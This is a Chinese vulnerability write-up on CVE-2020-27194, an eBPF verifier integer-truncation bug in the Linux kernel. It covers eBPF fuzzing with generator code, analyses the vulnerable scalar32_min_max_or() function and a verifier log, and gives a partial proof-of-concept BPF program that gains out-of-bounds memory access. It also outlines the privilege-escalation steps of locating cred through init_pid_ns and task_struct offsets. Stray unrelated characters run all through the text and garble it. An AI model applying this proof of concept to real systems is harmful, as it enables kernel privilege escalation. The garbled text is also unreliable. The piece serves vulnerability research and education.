影響版本:5.8.x 內(nèi)核分支吱七,v5.8.15 以及更低的版本汽久。該分支的發(fā)行版:Fedora 33 、Ubuntu 20.10踊餐。
編譯選項(xiàng):CONFIG_BPF_SYSCALL
回窘。
漏洞描述:eBPF驗(yàn)證程序中進(jìn)行or操作時(shí),scalar32_min_max_or()
函數(shù)將64位的值賦值到32位的變量上市袖,導(dǎo)致整數(shù)截?cái)啵M(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍烁涌,從而繞過(guò)bpf的檢查苍碟,導(dǎo)致越界讀寫(xiě)。
補(bǔ)丁:patch scalar32_min_max_or()
函數(shù)中對(duì)32位和64位的情況分開(kāi)處理撮执,防止整數(shù)截?cái)唷?/p>
測(cè)試版本:Linux-5.8.14 測(cè)試環(huán)境下載地址
利用過(guò)程:與 CVE-2020-8835
利用過(guò)程相同微峰,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_ops
和init_pid_ns
的偏移,還有尋找cred
地址的過(guò)程中用到的task_struct
結(jié)構(gòu)偏移也不一樣抒钱,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致蜓肆。
一颜凯、BPF 漏洞挖掘介紹
BPF 介紹可以先看看 CVE-2020-8835
利用過(guò)程。
本節(jié)來(lái)自Fuzzing for eBPF JIT bugs in the Linux kernel
1.bpf-fuzzer
介紹:bpf-fuzzer
目標(biāo)是在userspace測(cè)試BPF的verifier仗扬,這樣可以利用LLVM's sanitizer和fuzzer框架症概。為什么要把內(nèi)核編譯成用戶(hù)程序,而不是直接用syzkaller來(lái)挖掘呢早芭?原因有兩點(diǎn)彼城,一是因?yàn)閮?nèi)核fuzz太慢了,二是因?yàn)?code>BPF verifier等一些JIT編譯器會(huì)用鎖保護(hù)退个,如果在多核上跑fuzzer就很難并行募壕。
2.內(nèi)核組件編譯成用戶(hù)程序
獲取聲明:首先生成包含eBPF verifier
及其主要函數(shù)bpf_check()
的源代碼(處理宏并包含頭文件),寫(xiě)入.i
文件语盈,這一步是為了獲得 verifier
引用的所有內(nèi)核符號(hào)舱馅。生成.i
文件的示例:
KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
cd $(KERNEL_SRC) && \
make HOSTCC=clang CC=clang kernel/bpf/verifier.i
內(nèi)核函數(shù)hook:接著編譯每個(gè).i
文件并鏈接到一起,這個(gè)過(guò)程很復(fù)刀荒。上一步雖然獲得了 verifier
引用的所有的符號(hào)聲明代嗤,但是并未獲得所有的定義。例如照棋,已獲得kmalloc()
函數(shù)的定義资溃,但是沒(méi)有獲得該函數(shù)的定義。bpf-fuzzer
是怎么解決的呢烈炭?采用user-space hooks
溶锭,例如,用用戶(hù)標(biāo)準(zhǔn)函數(shù)malloc()
來(lái)定義kmalloc()
符隙,這兩個(gè)函數(shù)的行為是一樣的趴捅,BPF verifier
不會(huì)察覺(jué)。
void *kmalloc(size_t size, unsigned int flags)
{
return malloc(size);
}
3. BPF漏洞挖掘
挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier
霹疫,本文的目標(biāo)是找到 JIT
邏輯漏洞拱绑,而非內(nèi)存損壞漏洞。例如丽蝎,verifier
可能認(rèn)為一個(gè)內(nèi)存store操作是在邊界內(nèi)的猎拨,但實(shí)際上并不安全。
因此屠阻,僅僅循環(huán)調(diào)用 BPF verifier
例程并等待崩潰是不夠的红省,應(yīng)該考慮以下步驟:
- (1)生成或變異BPF程序
- (2)執(zhí)行
userspace BPF verifier
,來(lái)模擬執(zhí)行BPF程序 - (3)如果發(fā)現(xiàn)BPF程序有效国觉,則調(diào)用真實(shí)的
bpf()
系統(tǒng)調(diào)用并加載程序 - (4)真實(shí)執(zhí)行BPF程序并采用一個(gè)機(jī)制來(lái)檢測(cè)bug
- (5)重復(fù)
fuzzer架構(gòu):為了具備可擴(kuò)展性吧恃,作者寫(xiě)了個(gè)manager,manager負(fù)責(zé)啟動(dòng)虛擬機(jī)來(lái)運(yùn)行被測(cè)內(nèi)核麻诀,然后通過(guò)SSH連接到VMs痕寓,并執(zhí)行 eBPF fuzzer
進(jìn)程傲醉。每個(gè) eBPF fuzzer
進(jìn)程運(yùn)行一個(gè) generator 并喂給 userspace BPF verifier
,如果生成的輸入是有效的呻率,則eBPF fuzzer
會(huì)調(diào)用 bpf()
加載 BPF程序并觸發(fā)執(zhí)行硬毕。再采用檢測(cè)機(jī)制來(lái)檢查該BPF程序是否安全。
漏洞檢測(cè):JIT漏洞一般不會(huì)引發(fā)崩潰筷凤,所以很難檢測(cè)昭殉。解決辦法可以采用給JIT插入 assertions
,但作者卻采用了更簡(jiǎn)單的方法藐守。既然目標(biāo)是找到錯(cuò)誤的指針運(yùn)算剥扣,就意味著要使 BPF verifier
相信一個(gè)內(nèi)存load或store是在邊界內(nèi)的营勤。所以漏洞檢測(cè)流程如下:
- (1)加載一個(gè)
BPF map
,并把指針賦給一個(gè)寄存器 - (2)對(duì)一個(gè)或多個(gè)寄存器進(jìn)行大量的
BPF ALU
和分支操作 - (3)必須使用能通過(guò)操作改變寄存器狀態(tài)的寄存器,對(duì)指向
BPF map
的指針進(jìn)行運(yùn)算操作 - (4)向
BPF map
寫(xiě)入隨機(jī)值
如果 BPF verifier
確信 BPF 程序是安全的篡诽,那么無(wú)論對(duì)寄存器進(jìn)行隨機(jī)ALU運(yùn)算的值是多少场仲,無(wú)論之后對(duì) BPF map
指針加減多少值(即遍歷map中每個(gè)元素)萌丈,內(nèi)存操作始終都會(huì)在邊界內(nèi)赎瞎,這意味著需要更改map的值了。
如果觸發(fā)了有問(wèn)題的BPF程序融柬,但是用于測(cè)試的map內(nèi)容并未發(fā)生變化死嗦,則可以得知fuzzer將某處寫(xiě)入內(nèi)存但沒(méi)有寫(xiě)入map,因此檢測(cè)到錯(cuò)誤的指針運(yùn)算粒氧。
4.輸入生成規(guī)則
輸入生成:即生成有效的BPF程序越除,可以先閱讀 CVE-2020-8835-writeup 或 英文原文。
程序有效性與程序安全性:作者沒(méi)有采用對(duì)輸入結(jié)構(gòu)未知的fuzzer如 libfuzzer
外盯,而是從頭開(kāi)始寫(xiě) input generator
摘盆,因?yàn)橥ㄟ^(guò)編譯和反饋還是很難生成有效的BPF程序。BPF的語(yǔ)言規(guī)則饱苟,保留字段必須為0孩擂,條件跳轉(zhuǎn)必須往后跳且在邊界內(nèi),BPF程序是高度結(jié)構(gòu)化的箱熬,所以覆蓋導(dǎo)向的fuzzer很難生成有效的BPF程序类垦。
寄存器狀態(tài):BPF支持10個(gè)寄存器—— BPF_REG_1
– BPF_REG_10
。如果將BPF程序用作數(shù)據(jù)過(guò)濾器城须,并通過(guò)傳入數(shù)據(jù)包來(lái)觸發(fā)該程序护锤,則只初始化R1和R10寄存器,R1是指向輸入包的指針酿傍,R10是指向本BPF程序的棧幀的指針,其他寄存器在進(jìn)入程序入口時(shí)都還未初始化驱入,但可以具有以下?tīng)顟B(tài):
-
NOT_INIT
:寄存器的默認(rèn)狀態(tài)赤炒,不能被read氯析。 -
SCALAR_VALUE
:寄存器包含標(biāo)量值,該值可以是常數(shù)莺褒,也可以是范圍掩缓,如1-5。 -
PTR_TO_MAP_VALUE_OR_NULL
:寄存器可能是指向map的指針或NULL值遵岩。如果呀使用指針你辣,必須先檢查指針是否為NULL。 -
PTR_TO_MAP_VALUE
:指向map的指針尘执,可以放心向map讀和寫(xiě)舍哄。 - 除此之外還有其他狀態(tài),但與本文不相關(guān)誊锭。
5.BPF程序生成過(guò)程
(5-1)The header
目的:用常數(shù)或接近于 BPF map size
的值來(lái)初始化2個(gè)寄存器表悬。
為了測(cè)試 BPF verifier
錯(cuò)誤的指針運(yùn)算,我們需要獲得一個(gè)指向 BPF map
的指針丧靡,便于讀取和寫(xiě)入蟆沫。這個(gè)獲得指向 BPF map
的指針的過(guò)程 固定出現(xiàn)在每個(gè)test case的開(kāi)頭。指令如下:
// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
現(xiàn)在 r0 就是指向map的指針了温治,可以用來(lái)生成指針運(yùn)算饭庞。以下代碼會(huì)把 BPF map
中的值賦值給兩個(gè)寄存器:
// 每個(gè)寄存器都是從 BPF map 讀取 64 bit,寄存器的狀態(tài)從 NOT_INIT 變?yōu)?SCALAR_VALUE熬荆。寄存器的值的范圍是 0-2**64舟山,這一步的目的就是給寄存器加載一個(gè)隨機(jī)的立即數(shù)。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),
為了使寄存器的值更接近被測(cè)程序 的BPF map
大小惶看,下一步是生成條件跳轉(zhuǎn)捏顺,以設(shè)置兩寄存器的minimum 和maximum 值。以下函數(shù)能生成寄存器的minimum bound纬黎。
// 目的是生成一個(gè)條件跳轉(zhuǎn)幅骄,當(dāng)該值大于 minimum bound 時(shí),條件跳轉(zhuǎn)為 true本今。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范圍內(nèi)隨機(jī)生成的拆座,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val)
{
bool is64bit = this->rg->one_of(2);
this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
if (is64bit)
return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
else
return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body
目的:生成2個(gè)寄存器的隨機(jī)ALU算術(shù)操作冠息。
主體部分就是隨意選取兩個(gè)可用的寄存器挪凑,進(jìn)行ALU操作或分支操作。
// 算術(shù)指令是先隨機(jī)選取一種可用指令逛艰,如BPF_ADD/BPF_MUL/BPF_XOR躏碳,然后確定源寄存器和目的寄存器,并返回生成的BPF指令散怖。分支指令也是類(lèi)似菇绵,先選取可用的分支操作碼肄渗,可以使用第二個(gè)寄存器或立即數(shù),由于知道BPF程序的大小和指令的下標(biāo)咬最,這樣就總能生成有效的指令翎嫡。
for (size_t i = 0; i < num_instr; i++) {
int reg1, reg2;
this->chose_registers(®1, ®2);
if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
alu_instr a;
a.generate(this->rg, reg1, reg2);
this->instructions[index++] = a.instr;
}
else {
branch_instr b(this->header_size, this->header_size + this->num_instr, index);
b.generate(this->rg, reg1, reg2);
this->instructions[index++] = b.instr;
generated_branch = true;
}
}
(5-3)The footer
目的:為保證每個(gè)input都能對(duì) BPF map
進(jìn)行內(nèi)存寫(xiě), The footer
會(huì)選擇上述2個(gè)寄存器之一永乌,接著進(jìn)行算術(shù)運(yùn)算(和The body
中類(lèi)似惑申,但只能進(jìn)行加減操作,因?yàn)橹羔樦荒苓M(jìn)行加減運(yùn)算)翅雏。最后進(jìn)行內(nèi)存操作圈驼,然后將R0賦值為立即數(shù),確保有正確的返回值枚荣。
void range_input::generate_footer()
{
size_t index = this->header_size + this->num_instr;
// generate the random pointer arithmetic with one of the registers
int reg1, reg2 = -1;
this->chose_registers(®1, ®2);
alu_instr ptr_ar;
ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
this->instructions[index++] = ptr_ar.instr;
this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
this->instructions[index++] = BPF_EXIT_INSN();
6.Fuzzer結(jié)果
以上顯示作者用了6個(gè)VM來(lái)fuzz的輸出結(jié)果碗脊,每個(gè)VM一秒能測(cè)1200個(gè)BPF程序,0.77%的BPF程序是有效的橄妆。大量時(shí)間用在了內(nèi)核真實(shí)測(cè)試BPF程序上衙伶,下一步可以在用戶(hù)空間測(cè)試BPF程序,避免與內(nèi)核交互害碾,從而提速矢劲。
二、漏洞分析
// 漏洞函數(shù):scalar32_min_max_or() —— 對(duì)寄存器進(jìn)行或運(yùn)算時(shí)慌随,錯(cuò)誤計(jì)算了`bpf_reg_state`寄存器狀態(tài)中的寄存器值范圍
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 【1】將64位的值賦值到32位的變量上芬沉,導(dǎo)致整數(shù)截?cái)啵M(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍阁猜,從而繞過(guò)bpf的檢查丸逸,導(dǎo)致越界讀寫(xiě)。
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
具體可以看Poc生成的日志:
……
9: (79) r5 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
……
9:用戶(hù)的值通過(guò)r5寄存器傳入值 2
10:r0 賦值給r8剃袍,r0保存map的地址黄刚,對(duì)觸發(fā)漏洞無(wú)影響
11:r0 賦值為1,否則會(huì)認(rèn)為r0 泄露map指針產(chǎn)生報(bào)錯(cuò)
12: r6賦值為
0x600000002
14:通過(guò)r5 < r6 的條件判斷使得r5寄存器的無(wú)符號(hào)范圍最大為
umax_value=25769803777=0x600000001
16:通過(guò)r > 0x0 的條件判斷使得r5寄存器的無(wú)符號(hào)范圍最小為
umin_value=1
18:對(duì)r5進(jìn)行or運(yùn)算民效,觸發(fā)漏洞函數(shù)
scalar_min_max_or
憔维,調(diào)用到漏洞函數(shù)中的【1】處,賦值后r5寄存器的s32_min_value=1
畏邢,s32_max_value=1
19:將r5賦值為r6业扒,得到r6為invP1 ,說(shuō)明檢查模塊認(rèn)為r6是常數(shù)1舒萎,而實(shí)際此時(shí)r6為2
20:對(duì)r6進(jìn)行右移操作程储,此時(shí)檢查模塊認(rèn)為r6得到的結(jié)果為invP0(常數(shù)0),而實(shí)際此時(shí)r6為1
具體調(diào)試過(guò)程如下:
一個(gè)常數(shù)變量x,如果它64位無(wú)符號(hào)數(shù)的取值范圍是 1<=x<=0x100000001
章鲤,dst_reg->umin_value
的值為1致板, dst_reg->umax_value
的值為0x600000001,而在賦值 dst_reg->s32_max_value
的過(guò)程中發(fā)生了截?cái)啵?4位的值賦值到32位的有符號(hào)整數(shù))咏窿,導(dǎo)致 dst_reg->s32_max_value
的值為1,此時(shí)目標(biāo)寄存器的32位范圍為(1素征,1)集嵌,因此bpf的驗(yàn)證模塊認(rèn)為這是常數(shù)1。
當(dāng)我們傳入2時(shí)御毅,對(duì)其進(jìn)行右移操作根欧,驗(yàn)證模塊認(rèn)為是1>>1=0,而實(shí)際是2 >>1 = 1端蛆,所以可以對(duì)其進(jìn)行乘法操作構(gòu)造成任意數(shù)凤粗,因?yàn)樵隍?yàn)證模塊看來(lái)只是0乘以任意數(shù),結(jié)果都是0今豆,從而繞過(guò)檢查嫌拣,可以對(duì)map指針進(jìn)行任意加減,造成越界讀寫(xiě)呆躲。
所以bpf程序構(gòu)造如下:
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), //if r5 > 0 ; jmp 1 ;
BPF_EXIT_INSN(),
// now 1 <= r5 <= 0x600000001
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), //r5 |=0; verify: 1 <= r5 <=1 , r5=1
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), //r6 =r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact: we can let r5=2 then r6=1
......
}
三异逐、漏洞利用
與 CVE-2020-8835
利用過(guò)程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_ops
和init_pid_ns
的偏移插掂,還有尋找cred
地址的過(guò)程中用到的task_struct
結(jié)構(gòu)偏移也不一樣灰瞻,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。
# 根據(jù) init_pid_ns 一步步找到當(dāng)前pid的task_struct中的cred辅甥。必須自己編譯帶符號(hào)的vmlinux才行酝润。
$ cat /proc/kallsyms | grep init_pid_ns # ——找到第一個(gè)task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks # —— 下一個(gè)task_struct的位置
參考:
320will——Linux kernel BPF模塊的相關(guān)漏洞分析
360——CVE-2020-27194:Linux Kernel eBPF模塊提權(quán)漏洞的分析與利用
啟明星辰ADLab——Linux eBPF JIT 權(quán)限提升漏洞(CVE-2020-27194)分析與驗(yàn)證